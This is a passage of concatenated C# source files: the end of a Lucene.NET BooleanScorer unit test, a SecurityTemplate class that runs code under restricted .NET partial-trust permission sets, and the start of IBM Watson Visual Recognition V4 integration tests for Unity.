"33", Field.Store.NO)); w.AddDocument(doc); IndexReader r = w.Reader; w.Dispose(); // we don't wrap with AssertingIndexSearcher in order to have the original scorer in setScorer. IndexSearcher s = NewSearcher(r, true, false); BooleanQuery q = new BooleanQuery(); for (int term = 0; term < 33; term++) { q.Add(new BooleanClause(new TermQuery(new Term("field", "" + term)), BooleanClause.Occur.MUST_NOT)); } q.Add(new BooleanClause(new TermQuery(new Term("field", "33")), BooleanClause.Occur.SHOULD)); int[] count = new int[1]; s.Search(q, new CollectorAnonymousInnerClassHelper2(this, doc, count)); Assert.AreEqual(1, count[0]); r.Dispose(); d.Dispose(); } private class CollectorAnonymousInnerClassHelper2 : Collector { private readonly TestBooleanScorer OuterInstance; private Document Doc; private int[] Count; public CollectorAnonymousInnerClassHelper2(TestBooleanScorer outerInstance, Document doc, int[] count) { this.OuterInstance = outerInstance; this.Doc = doc; this.Count = count; } public override Scorer Scorer { set { // Make sure we got BooleanScorer: Type clazz = value.GetType(); Assert.AreEqual(typeof(FakeScorer).Name, clazz.Name, "Scorer is implemented by wrong class"); } } public override void Collect(int doc) { Count[0]++; } public override AtomicReaderContext NextReader { set { } } public override bool AcceptsDocsOutOfOrder() { return true; } } /// <summary> /// Throws UOE if Weight.scorer is called </summary> private class CrazyMustUseBulkScorerQuery : Query { public override string ToString(string field) { return "MustUseBulkScorerQuery"; } public override Weight CreateWeight(IndexSearcher searcher) { return new WeightAnonymousInnerClassHelper(this); } private class WeightAnonymousInnerClassHelper : Weight { private readonly CrazyMustUseBulkScorerQuery OuterInstance; public WeightAnonymousInnerClassHelper(CrazyMustUseBulkScorerQuery outerInstance) { this.OuterInstance = outerInstance; } public override Explanation Explain(AtomicReaderContext context, int doc) { throw new System.NotSupportedException(); } public override Query Query { get { return OuterInstance; } } public override float ValueForNormalization { get { return 1.0f; } } public override void Normalize(float norm, float topLevelBoost) { } public override Scorer Scorer(AtomicReaderContext context, Bits acceptDocs) { throw new System.NotSupportedException(); } public override BulkScorer BulkScorer(AtomicReaderContext context, bool scoreDocsInOrder, Bits acceptDocs) { return new BulkScorerAnonymousInnerClassHelper(this); } private class BulkScorerAnonymousInnerClassHelper : BulkScorer { private readonly WeightAnonymousInnerClassHelper OuterInstance; public BulkScorerAnonymousInnerClassHelper(WeightAnonymousInnerClassHelper outerInstance) { this.OuterInstance = outerInstance; } public override bool Score(Collector collector, int max) { collector.Scorer = new FakeScorer(); collector.Collect(0); return false; } } } } /// <summary> /// Make sure BooleanScorer can embed another /// BooleanScorer. /// </summary> [Test] public virtual void TestEmbeddedBooleanScorer() { Directory dir = NewDirectory(); RandomIndexWriter w = new RandomIndexWriter(Random(), dir); Document doc = new Document(); doc.Add(NewTextField("field", "doctors are people who prescribe medicines of which they know little, to cure diseases of which they know less, in human beings of whom they know nothing", Field.Store.NO)); w.AddDocument(doc); IndexReader r = w.Reader; w.Dispose(); IndexSearcher s = NewSearcher(r); BooleanQuery q1 = new BooleanQuery(); q1.Add(new TermQuery(new Term("field", "little")), BooleanClause.Occur.SHOULD); q1.Add(new TermQuery(new Term("field", "diseases")), BooleanClause.Occur.SHOULD); BooleanQuery q2 = new BooleanQuery(); q2.Add(q1, BooleanClause.Occur.SHOULD); q2.Add(new CrazyMustUseBulkScorerQuery(), BooleanClause.Occur.SHOULD); Assert.AreEqual(1, s.Search(q2, 10).TotalHits); r.Dispose(); dir.Dispose(); } } }
#region License /* * Copyright 2002-2010 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #endregion using System; using System.Configuration; using System.Data.SqlClient; using System.Drawing.Printing; using System.IO; using System.Net; using System.Runtime.InteropServices; using System.Security; using System.Security.Permissions; using System.Security.Policy; using System.Text; using System.Threading; using System.Web; using System.Web.Configuration; #pragma warning disable 618 namespace Solenoid.Expressions.Tests { /// <summary> /// Allows to invoke parts of your code within the context of a certain PermissionSet. /// </summary> /// <remarks> /// <para> /// You may also use the static method <see cref="LoadDomainPolicyFromAppConfig"/> and /// <see cref="LoadDomainPolicyFromUri"/> to load a <see cref="PolicyLevel"/> instance /// yourself and apply it on your application domain using <see cref="AppDomain.SetAppDomainPolicy"/>. Note, /// that you must set the policy *before* an assembly gets loaded to apply that policy on that assembly! /// </para> /// <para> /// The policy file format is the one used by <see cref="SecurityManager.LoadPolicyLevelFromString"/>. /// You get good examples from your %FrameworkDir%/CONFIG/ directory (e.g. 'web_mediumtrust.config'). /// </para> /// </remarks> /// <author>Erich Eichinger</author> public class SecurityTemplate { /// <summary> /// The default full trust permission set name ("FullTrust") /// </summary> public static readonly string PERMISSIONSET_FULLTRUST = "FullTrust"; /// <summary> /// The default no trust permission set name ("Nothing") /// </summary> public static readonly string PERMISSIONSET_NOTHING = "Nothing"; /// <summary> /// The default medium trust permission set name ("MediumTrust") /// </summary> public static readonly string PERMISSIONSET_MEDIUMTRUST = "MediumTrust"; /// <summary> /// The default low trust permission set name ("LowTrust") /// </summary> public static readonly string PERMISSIONSET_LOWTRUST = "LowTrust"; /// <summary> /// The default asp.net permission set name ("ASP.NET") /// </summary> public static readonly string PERMISSIONSET_ASPNET = "ASP.Net"; private readonly PolicyLevel _domainPolicy; // private readonly Dictionary<string, SecurityContext> securityContextCache = new Dictionary<string, SecurityContext>(); private bool throwOnUnknownPermissionSet = true; /// <summary> /// Avoid beforeFieldInit /// </summary> static SecurityTemplate() {} /// <summary> /// Invoke the specified callback in a medium trusted context /// </summary> public static void MediumTrustInvoke( ThreadStart callback ) { SecurityTemplate template = new SecurityTemplate(true); template.PartialTrustInvoke(PERMISSIONSET_MEDIUMTRUST, callback); } /// <summary> /// Access the domain <see cref="PolicyLevel"/> of this <see cref="SecurityTemplate"/> instance. /// </summary> public PolicyLevel DomainPolicy { get { return _domainPolicy; } } /// <summary> /// Whether to throw an <see cref="ArgumentOutOfRangeException"/> in case /// the permission set name is not found when invoking <see cref="PartialTrustInvoke(string,ThreadStart)"/>. /// Defaults to <c>true</c>. /// </summary> public bool ThrowOnUnknownPermissionSet { get { return throwOnUnknownPermissionSet; } set { throwOnUnknownPermissionSet = value; // securityContextCache.Clear(); // clear cache } } /// <summary> /// Creates a new instance providing default "FullTrust", "Nothing", "MediumTrust" and "LowTrust" permissionsets /// </summary> /// <param name="allowUnmanagedCode">NCover requires unmangaged code permissions, set this flag <c>true</c> in this case.</param> public SecurityTemplate(bool allowUnmanagedCode) { PolicyLevel pLevel = PolicyLevel.CreateAppDomainLevel(); // NOTHING permissionset if (null == pLevel.GetNamedPermissionSet(PERMISSIONSET_NOTHING) ) { NamedPermissionSet noPermissionSet = new NamedPermissionSet(PERMISSIONSET_NOTHING, PermissionState.None); noPermissionSet.AddPermission(new SecurityPermission(SecurityPermissionFlag.NoFlags)); pLevel.AddNamedPermissionSet(noPermissionSet); } // FULLTRUST permissionset if (null == pLevel.GetNamedPermissionSet(PERMISSIONSET_FULLTRUST)) { NamedPermissionSet fulltrustPermissionSet = new NamedPermissionSet(PERMISSIONSET_FULLTRUST, PermissionState.Unrestricted); pLevel.AddNamedPermissionSet(fulltrustPermissionSet); } // MEDIUMTRUST permissionset (corresponds to ASP.Net permission set in web_mediumtrust.config) NamedPermissionSet mediumTrustPermissionSet = new NamedPermissionSet(PERMISSIONSET_MEDIUMTRUST, PermissionState.None); mediumTrustPermissionSet.AddPermission(new AspNetHostingPermission(AspNetHostingPermissionLevel.Medium)); mediumTrustPermissionSet.AddPermission(new DnsPermission(PermissionState.Unrestricted)); mediumTrustPermissionSet.AddPermission(new EnvironmentPermission(EnvironmentPermissionAccess.Read, "TEMP;TMP;USERNAME;OS;COMPUTERNAME")); mediumTrustPermissionSet.AddPermission(new FileIOPermission(FileIOPermissionAccess.AllAccess, AppDomain.CurrentDomain.BaseDirectory)); IsolatedStorageFilePermission isolatedStorageFilePermission = new IsolatedStorageFilePermission(PermissionState.None); isolatedStorageFilePermission.UsageAllowed = IsolatedStorageContainment.AssemblyIsolationByUser; isolatedStorageFilePermission.UserQuota = 9223372036854775807; mediumTrustPermissionSet.AddPermission(isolatedStorageFilePermission); mediumTrustPermissionSet.AddPermission(new PrintingPermission(PrintingPermissionLevel.DefaultPrinting)); SecurityPermissionFlag securityPermissionFlag = SecurityPermissionFlag.Assertion | SecurityPermissionFlag.Execution | SecurityPermissionFlag.ControlThread | SecurityPermissionFlag.ControlPrincipal | SecurityPermissionFlag.RemotingConfiguration; if (allowUnmanagedCode) { securityPermissionFlag |= SecurityPermissionFlag.UnmanagedCode; } mediumTrustPermissionSet.AddPermission(new SecurityPermission(securityPermissionFlag)); mediumTrustPermissionSet.AddPermission(new System.Net.Mail.SmtpPermission(System.Net.Mail.SmtpAccess.Connect)); mediumTrustPermissionSet.AddPermission(new SqlClientPermission(PermissionState.Unrestricted)); mediumTrustPermissionSet.AddPermission(new WebPermission()); pLevel.AddNamedPermissionSet(mediumTrustPermissionSet); // LOWTRUST permissionset (corresponds to ASP.Net permission set in web_mediumtrust.config) NamedPermissionSet lowTrustPermissionSet = new NamedPermissionSet(PERMISSIONSET_LOWTRUST, PermissionState.None); lowTrustPermissionSet.AddPermission(new AspNetHostingPermission(AspNetHostingPermissionLevel.Low)); lowTrustPermissionSet.AddPermission(new FileIOPermission(FileIOPermissionAccess.Read|FileIOPermissionAccess.PathDiscovery, AppDomain.CurrentDomain.BaseDirectory)); IsolatedStorageFilePermission isolatedStorageFilePermissionLow = new IsolatedStorageFilePermission(PermissionState.None); isolatedStorageFilePermissionLow.UsageAllowed = IsolatedStorageContainment.AssemblyIsolationByUser; isolatedStorageFilePermissionLow.UserQuota = 1048576; lowTrustPermissionSet.AddPermission(isolatedStorageFilePermissionLow); SecurityPermissionFlag securityPermissionFlagLow = SecurityPermissionFlag.Execution; if (allowUnmanagedCode) { securityPermissionFlagLow |= SecurityPermissionFlag.UnmanagedCode; } lowTrustPermissionSet.AddPermission(new SecurityPermission(securityPermissionFlagLow)); pLevel.AddNamedPermissionSet(lowTrustPermissionSet); // UnionCodeGroup rootCodeGroup = new UnionCodeGroup(new AllMembershipCondition(), new PolicyStatement(noPermissionSet, PolicyStatementAttribute.Nothing)); // pLevel.RootCodeGroup = rootCodeGroup; _domainPolicy = pLevel; } /// <summary> /// Loads domain policy from specified file /// </summary> /// <param name="securityConfigurationFile"></param> public SecurityTemplate(FileInfo securityConfigurationFile) { string appDirectory = AppDomain.CurrentDomain.BaseDirectory; _domainPolicy = LoadDomainPolicyFromUri(new Uri(securityConfigurationFile.FullName), appDirectory, string.Empty); } /// <summary> /// Create a security tool from the specified domainPolicy /// </summary> public SecurityTemplate(PolicyLevel domainPolicy) { this._domainPolicy = domainPolicy; } /// <summary> /// Invokes the given callback using the policy's default /// partial trust permissionset ("ASP.Net" <see cref="PERMISSIONSET_ASPNET"/>). /// </summary> // [SecurityTreatAsSafe, SecurityCritical] public void PartialTrustInvoke(ThreadStart callback) { string defaultPermissionSetName = PERMISSIONSET_MEDIUMTRUST; if (null != GetNamedPermissionSet(PERMISSIONSET_ASPNET)) { defaultPermissionSetName = PERMISSIONSET_ASPNET; } PartialTrustInvoke(defaultPermissionSetName, callback); } /// <summary> /// Invokes the given callback using the specified permissionset. /// </summary> // [SecurityTreatAsSafe, SecurityCritical] public void PartialTrustInvoke(string permissionSetName, ThreadStart callback) { PermissionSet ps = null; ps = GetNamedPermissionSet(permissionSetName); if (ps == null && throwOnUnknownPermissionSet) { throw new ArgumentOutOfRangeException("permissionSetName", permissionSetName, string.Format("unknown PermissionSet name '{0}'", permissionSetName)); } if (!IsFullTrust(ps)) { ps.PermitOnly(); callback(); CodeAccessPermission.RevertPermitOnly(); } else { callback(); } } private PermissionSet GetNamedPermissionSet(string name) { if (_domainPolicy != null) { return _domainPolicy.GetNamedPermissionSet(name); } return null; } #if !MONO /// <summary> /// Loads the policy configuration from app.config configuration section /// </summary> /// <example> /// Configuration is identical to web.config: /// <code> /// &lt;configuration&gt; /// &lt;system.web&gt; /// &lt;securityPolicy&gt; /// &lt;trustLevel name=&quot;Full&quot; policyFile=&quot;internal&quot;/&gt; /// &lt;trustLevel name=&quot;High&quot; policyFile=&quot;web_hightrust.config&quot;/&gt; /// &lt;trustLevel name=&quot;Medium&quot; policyFile=&quot;web_mediumtrust.config&quot;/&gt; /// &lt;trustLevel name=&quot;Low&quot; policyFile=&quot;web_lowtrust.config&quot;/&gt; /// &lt;trustLevel name=&quot;Minimal&quot; policyFile=&quot;web_minimaltrust.config&quot;/&gt; /// &lt;/securityPolicy&gt; /// &lt;trust level=&quot;Medium&quot; originUrl=&quot;&quot;/&gt; /// &lt;/system.web&gt; /// &lt;/configuration&gt; /// </code> /// </example> /// <param name="throwOnError"></param> /// <returns></returns> public static PolicyLevel LoadDomainPolicyFromAppConfig(bool throwOnError) { TrustSection trustSection = (TrustSection)ConfigurationManager.GetSection("system.web/trust"); SecurityPolicySection securityPolicySection = (SecurityPolicySection)ConfigurationManager.GetSection("system.web/securityPolicy"); if ((trustSection == null) || string.IsNullOrEmpty(trustSection.Level)) { if (!throwOnError) return null; throw new ConfigurationErrorsException("Configuration section <system.web/trust> not found "); } if (trustSection.Level == "Full") { return null; } if ((securityPolicySection == null) || (securityPolicySection.TrustLevels[trustSection.Level] == null)) { if (!throwOnError) return null; throw new ConfigurationErrorsException(string.Format("configuration <system.web/securityPolicy/trustLevel@name='{0}'> not found", trustSection.Level)); } string policyFileExpanded = GetPolicyFilenameExpanded(securityPolicySection.TrustLevels[trustSection.Level]); string appDirectory = AppDomain.CurrentDomain.BaseDirectory; PolicyLevel domainPolicy = LoadDomainPolicyFromUri(new Uri(policyFileExpanded), appDirectory, trustSection.OriginUrl); return domainPolicy; } #endif /// <summary> /// Loads a policy from a file (<see cref="SecurityManager.LoadPolicyLevelFromFile"/>), /// replacing placeholders /// <list> /// <item>$AppDir$, $AppDirUrl$ => <paramref name="appDirectory"/></item> /// <item>$CodeGen$ => (TODO)</item> /// <item>$OriginHost$ => <paramref name="originUrl"/></item> /// <item>$Gac$ => the current machine's GAC path</item> /// </list> /// </summary> /// <param name="policyFileLocation"></param> /// <param name="originUrl"></param> /// <param name="appDirectory"></param> /// <returns></returns> public static PolicyLevel LoadDomainPolicyFromUri(Uri policyFileLocation, string appDirectory, string originUrl) { bool foundGacToken = false; PolicyLevel domainPolicy = CreatePolicyLevel(policyFileLocation, appDirectory, appDirectory, originUrl, out foundGacToken); if (foundGacToken) { CodeGroup rootCodeGroup = domainPolicy.RootCodeGroup; bool hasGacMembershipCondition = false; foreach (CodeGroup childCodeGroup in rootCodeGroup.Children) { if (childCodeGroup.MembershipCondition is GacMembershipCondition) { hasGacMembershipCondition = true; break; } } if (!hasGacMembershipCondition && (rootCodeGroup is FirstMatchCodeGroup)) { FirstMatchCodeGroup firstMatchCodeGroup = (FirstMatchCodeGroup)rootCodeGroup; if ((firstMatchCodeGroup.MembershipCondition is AllMembershipCondition) && (firstMatchCodeGroup.PermissionSetName == PERMISSIONSET_NOTHING)) { PermissionSet unrestrictedPermissionSet = new PermissionSet(PermissionState.Unrestricted); CodeGroup gacGroup = new UnionCodeGroup(new GacMembershipCondition(), new PolicyStatement(unrestrictedPermissionSet)); CodeGroup rootGroup = new FirstMatchCodeGroup(rootCodeGroup.MembershipCondition, rootCodeGroup.PolicyStatement); foreach (CodeGroup childGroup in rootCodeGroup.Children) { if (((childGroup is UnionCodeGroup) && (childGroup.MembershipCondition is UrlMembershipCondition)) && (childGroup.PolicyStatement.PermissionSet.IsUnrestricted() && (gacGroup != null))) { rootGroup.AddChild(gacGroup); gacGroup = null; } rootGroup.AddChild(childGroup); } domainPolicy.RootCodeGroup = rootGroup; } } } return domainPolicy; } private static PolicyLevel CreatePolicyLevel(Uri configFile, string appDir, string binDir, string strOriginUrl, out bool foundGacToken) { WebClient webClient = new WebClient(); string strXmlPolicy = webClient.DownloadString(configFile); appDir = FileUtil.RemoveTrailingDirectoryBackSlash(appDir); binDir = FileUtil.RemoveTrailingDirectoryBackSlash(binDir); strXmlPolicy = strXmlPolicy.Replace("$AppDir$", appDir).Replace("$AppDirUrl$", MakeFileUrl(appDir)).Replace("$CodeGen$", MakeFileUrl(binDir)); if (strOriginUrl == null) { strOriginUrl = string.Empty; } strXmlPolicy = strXmlPolicy.Replace("$OriginHost$", strOriginUrl); if (strXmlPolicy.IndexOf("$Gac$", StringComparison.Ordinal) != -1) { string gacLocation = GetGacLocation(); if (gacLocation != null) { gacLocation = MakeFileUrl(gacLocation); } if (gacLocation == null) { gacLocation = string.Empty; } strXmlPolicy = strXmlPolicy.Replace("$Gac$", gacLocation); foundGacToken = true; } else { foundGacToken = false; } return SecurityManager.LoadPolicyLevelFromString(strXmlPolicy, PolicyLevelType.AppDomain); } #if !MONO private static string GetPolicyFilenameExpanded(TrustLevel trustLevel) { bool isRelative = true; if (trustLevel.PolicyFile.Length > 1) { char ch = trustLevel.PolicyFile[1]; char ch2 = trustLevel.PolicyFile[0]; if (ch == ':') { isRelative = false; } else if ((ch2 == '\\') && (ch == '\\')) { isRelative = false; } } if (isRelative) { string configurationElementFileSource = trustLevel.ElementInformation.Properties["policyFile"].Source; string path = configurationElementFileSource.Substring(0, configurationElementFileSource.LastIndexOf('\\') + 1); return path + trustLevel.PolicyFile; } return trustLevel.PolicyFile; } #endif [DllImport("mscorwks.dll", CharSet = CharSet.Unicode)] private static extern int GetCachePath(int dwCacheFlags, StringBuilder pwzCachePath, ref int pcchPath); private static string GetGacLocation() { int capacity = 0x106; StringBuilder pwzCachePath = new StringBuilder(capacity); int pcchPath = capacity - 2; int hRes = GetCachePath(2, pwzCachePath, ref pcchPath); if (hRes < 0) { throw new HttpException("failed obtaining GAC path", hRes); } return pwzCachePath.ToString(); } private static string MakeFileUrl(string path) { Uri uri = new Uri(path); return uri.ToString(); } private class FileUtil { internal static string RemoveTrailingDirectoryBackSlash(string path) { if (path == null) { return null; } int length = path.Length; if ((length > 3) && (path[length - 1] == '\\')) { path = path.Substring(0, length - 1); } return path; } } private static bool IsFullTrust(PermissionSet perms) { if (perms != null) { return perms.IsUnrestricted(); } return true; } // [SecurityTreatAsSafe, SecurityCritical] // private bool NeedPartialTrustInvoke(string permissionSetName) // { // if (_domainPolicy == null) return false; // // SecurityContext securityContext = null; // if (!securityContextCache.ContainsKey(permissionSetName)) // { // NamedPermissionSet permissionSet = _domainPolicy.GetNamedPermissionSet(permissionSetName); // if (permissionSet == null && throwOnUnknownPermissionSet) // { // throw new ArgumentOutOfRangeException("permissionSetName", permissionSetName, "Undefined permission set"); // } // if (!IsFullTrust(permissionSet)) // { // try // { // permissionSet.PermitOnly(); // securityContext = CaptureSecurityContextNoIdentityFlow(); // } // finally // { // CodeAccessPermission.RevertPermitOnly(); // } // } // securityContextCache[permissionSetName] = securityContext; // } // else // { // securityContext = securityContextCache[permissionSetName]; // } // return (securityContext != null); // } // [SecurityCritical] // private static SecurityContext CaptureSecurityContextNoIdentityFlow() // { // if (SecurityContext.IsWindowsIdentityFlowSuppressed()) // { // return SecurityContext.Capture(); // } // using (SecurityContext.SuppressFlowWindowsIdentity()) // { // return SecurityContext.Capture(); // } // } } } #pragma warning restore 618
/** * (C) Copyright IBM Corp. 2018, 2020. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ using System; using System.Collections; using System.Collections.Generic; using System.IO; using System.Text; using IBM.Cloud.SDK; using IBM.Cloud.SDK.Authentication; using IBM.Cloud.SDK.Utilities; using IBM.Cloud.SDK.Model; using IBM.Watson.VisualRecognition.V4; using IBM.Watson.VisualRecognition.V4.Model; using NUnit.Framework; using UnityEngine; using UnityEngine.TestTools; namespace IBM.Watson.Tests { public class VisualRecognitionV4IntegrationTests { private VisualRecognitionService service; private string versionDate = "2019-02-13"; private string negativeExamplesFilepath; private string giraffeImageFilepath; private string turtleImageFilepath; private string imageMetadataFilepath; private string giraffeCollectionId = "a06f7036-0529-49ee-bdf6-82ddec276923"; private string giraffeClassname = "giraffe"; private string collectionId; private string imageId; [OneTimeSetUp] public void OneTimeSetup() { LogSystem.InstallDefaultReactors(); negativeExamplesFilepath = Application.dataPath + "/Watson/Tests/TestData/VisualRecognitionV3/negative_examples.zip"; giraffeImageFilepath = Application.dataPath + "/Watson/Tests/TestData/VisualRecognitionV3/giraffe_to_classify.jpg"; turtleImageFilepath = Application.dataPath + "/Watson/Tests/TestData/VisualRecognitionV3/turtle_to_classify.jpg"; imageMetadataFilepath = Application.dataPath + "/Watson/Tests/TestData/VisualRecognitionV3/imageMetadata.json"; } [UnitySetUp] public IEnumerator UnityTestSetup() { if (service == null) { service = new VisualRecognitionService(versionDate); } while (!service.Authenticator.CanAuthenticate()) yield return null; } [SetUp] public void TestSetup() { service.WithHeader("X-Watson-Test", "1"); } #region Analyze [UnityTest, Order(1)] public IEnumerator TestAnalyze() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Analyze..."); AnalyzeResponse analyzeResponse = null; List<FileWithMetadata> imagesFile = new List<FileWithMetadata>(); using (FileStream fs1 = File.OpenRead(giraffeImageFilepath), fs2 = File.OpenRead(turtleImageFilepath)) { using (MemoryStream ms1 = new MemoryStream(), ms2 = new MemoryStream()) { fs1.CopyTo(ms1); fs2.CopyTo(ms2); FileWithMetadata fileWithMetadata = new FileWithMetadata() { Data = ms1, ContentType = "image/jpeg", Filename = Path.GetFileName(giraffeImageFilepath) }; imagesFile.Add(fileWithMetadata); FileWithMetadata fileWithMetadata2 = new FileWithMetadata() { Data = ms2, ContentType = "image/jpeg", Filename = Path.GetFileName(turtleImageFilepath) }; imagesFile.Add(fileWithMetadata2); service.Analyze( callback: (DetailedResponse<AnalyzeResponse> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Analyze result: {0}", response.Response); analyzeResponse = response.Result; Assert.IsNotNull(analyzeResponse); Assert.IsNotNull(analyzeResponse.Images); Assert.IsTrue(analyzeResponse.Images.Count > 0); Assert.IsNotNull(analyzeResponse.Images[0].Objects.Collections); Assert.IsTrue(analyzeResponse.Images[0].Objects.Collections.Count > 0); Assert.IsNull(error); }, collectionIds: new List<string>() { giraffeCollectionId }, features: new List<string>() { "objects" }, imagesFile: imagesFile ); while (analyzeResponse == null) yield return null; } } } #endregion #region Collections [UnityTest, Order(2)] public IEnumerator TestListCollections() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to List Collections..."); CollectionsList collectionsList = null; service.ListCollections( callback: (DetailedResponse<CollectionsList> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "List Collections result: {0}", response.Response); collectionsList = response.Result; Assert.IsNotNull(collectionsList.Collections); Assert.IsTrue(collectionsList.Collections.Count > 0); Assert.IsNull(error); } ); while (collectionsList == null) yield return null; } [UnityTest, Order(3)] public IEnumerator TestGetCollection() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Get Collection..."); Collection collection = null; service.GetCollection( callback: (DetailedResponse<Collection> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "GetCollection result: {0}", response.Response); collection = response.Result; Assert.IsNotNull(collection.CollectionId); Assert.IsTrue(collection.CollectionId == giraffeCollectionId); Assert.IsNull(error); }, collectionId: giraffeCollectionId ); while (collection == null) yield return null; } [UnityTest, Order(4)] public IEnumerator TestCreateCollection() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Create Collection..."); Collection collection = null; service.CreateCollection( callback: (DetailedResponse<Collection> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "CreateCollection result: {0}", response.Response); collection = response.Result; Assert.IsNotNull(collection.CollectionId); Assert.IsNull(error); collectionId = collection.CollectionId; } ); while (collection == null) yield return null; } [UnityTest, Order(5)] public IEnumerator TestUpdateCollection() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Update Collection..."); Collection collection = null; string updatedTestCollectionName = "newTestCollection"; byte[] updatedTestCollectionNameUtf8Bytes = System.Text.Encoding.UTF8.GetBytes(updatedTestCollectionName); service.UpdateCollection( callback: (DetailedResponse<Collection> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "UpdateCollection result: {0}", response.Response); collection = response.Result; Assert.IsNotNull(collection.CollectionId); Assert.IsTrue(collection.CollectionId == collectionId); Assert.IsNull(error); }, collectionId: collectionId, name: System.Text.Encoding.UTF8.GetString(updatedTestCollectionNameUtf8Bytes) ); while (collection == null) yield return null; } [UnityTest, Order(99)] public IEnumerator TestDeleteCollection() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Delete Collection..."); bool isComplete = false; service.DeleteCollection( callback: (DetailedResponse<object> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "DeleteCollection result: {0}", response.Response); Assert.IsNotNull(response.Result); Assert.IsTrue(response.StatusCode == 200); isComplete = true; }, collectionId: collectionId ); while (isComplete == true) yield return null; } #endregion #region Images [UnityTest, Order(6)] public IEnumerator TestAddImage() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Add Images..."); ImageDetailsList imageDetailsList = null; List<FileWithMetadata> imagesFile = new List<FileWithMetadata>(); using (FileStream fs1 = File.OpenRead(giraffeImageFilepath), fs2 = File.OpenRead(turtleImageFilepath)) { using (MemoryStream ms1 = new MemoryStream(), ms2 = new MemoryStream()) { fs1.CopyTo(ms1); fs2.CopyTo(ms2); FileWithMetadata fileWithMetadata = new FileWithMetadata() { Data = ms1, ContentType = "image/jpeg", Filename = Path.GetFileName(giraffeImageFilepath) }; imagesFile.Add(fileWithMetadata); FileWithMetadata fileWithMetadata2 = new FileWithMetadata() { Data = ms2, ContentType = "image/jpeg", Filename = Path.GetFileName(turtleImageFilepath) }; imagesFile.Add(fileWithMetadata2); service.AddImages( callback: (DetailedResponse<ImageDetailsList> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "AddImages result: {0}", response.Response); imageDetailsList = response.Result; Assert.IsNotNull(imageDetailsList.Images); Assert.IsTrue(imageDetailsList.Images.Count > 0); Assert.IsNull(error); imageId = imageDetailsList.Images[0].ImageId; }, collectionId: collectionId, imagesFile: imagesFile ); while (imageDetailsList == null) yield return null; } } } [UnityTest, Order(7)] public IEnumerator TestListImages() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to List Images..."); ImageSummaryList imagesList = null; service.ListImages( callback: (DetailedResponse<ImageSummaryList> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "ListImages result: {0}", response.Response); imagesList = response.Result; Assert.IsNotNull(imagesList.Images); Assert.IsTrue(imagesList.Images.Count > 0); Assert.IsNull(error); }, collectionId: collectionId ); while (imagesList == null) yield return null; } [UnityTest, Order(8)] public IEnumerator TestGetImage() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Get Image..."); ImageDetails imageDetails = null; service.GetImageDetails( callback: (DetailedResponse<ImageDetails> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "GetImage result: {0}", response.Response); imageDetails = response.Result; Assert.IsNotNull(imageDetails); Assert.IsTrue(imageDetails.ImageId == imageId); Assert.IsNull(error); }, collectionId: collectionId, imageId: imageId ); while (imageDetails == null) yield return null; } [UnityTest, Order(9)] public IEnumerator TestGetJpegImage() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Get Image..."); bool isComplete = false; service.GetJpegImage( callback: (DetailedResponse<byte[]> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "GetImage result: {0}", response.Response); Assert.IsNotNull(response.Result); isComplete = true; }, collectionId: collectionId, imageId: imageId ); while (isComplete == true) yield return null; } [UnityTest, Order(98)] public IEnumerator TestDeleteImage() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Delete Image..."); bool isComplete = false; service.DeleteImage( callback: (DetailedResponse<object> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "DeleteImage result: {0}", response.Response); Assert.IsNotNull(response.Result); Assert.IsTrue(response.StatusCode == 200); isComplete = true; }, collectionId: collectionId, imageId: imageId ); while (isComplete == true) yield return null; } #endregion #region Training Data [UnityTest, Order(10)] public IEnumerator TestAddImageTrainingData() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Add Image Training Data..."); TrainingDataObjects trainingDataObjects = null; var objectName = giraffeClassname; List<TrainingDataObject> objects = new List<TrainingDataObject>() { new TrainingDataObject() { _Object = objectName, Location = new Location() { Left = 27, Top = 64, Width = 75, Height = 78 } } }; service.AddImageTrainingData( callback: (DetailedResponse<TrainingDataObjects> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "AddImageTrainingData result: {0}", response.Response); trainingDataObjects = response.Result; Assert.IsNotNull(trainingDataObjects); Assert.IsTrue(trainingDataObjects.Objects.Count > 0); Assert.IsNull(error); }, collectionId: collectionId, imageId: imageId, objects: objects ); while (trainingDataObjects == null) yield return null; } [UnityTest, Order(11)] public IEnumerator TestTrain() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to 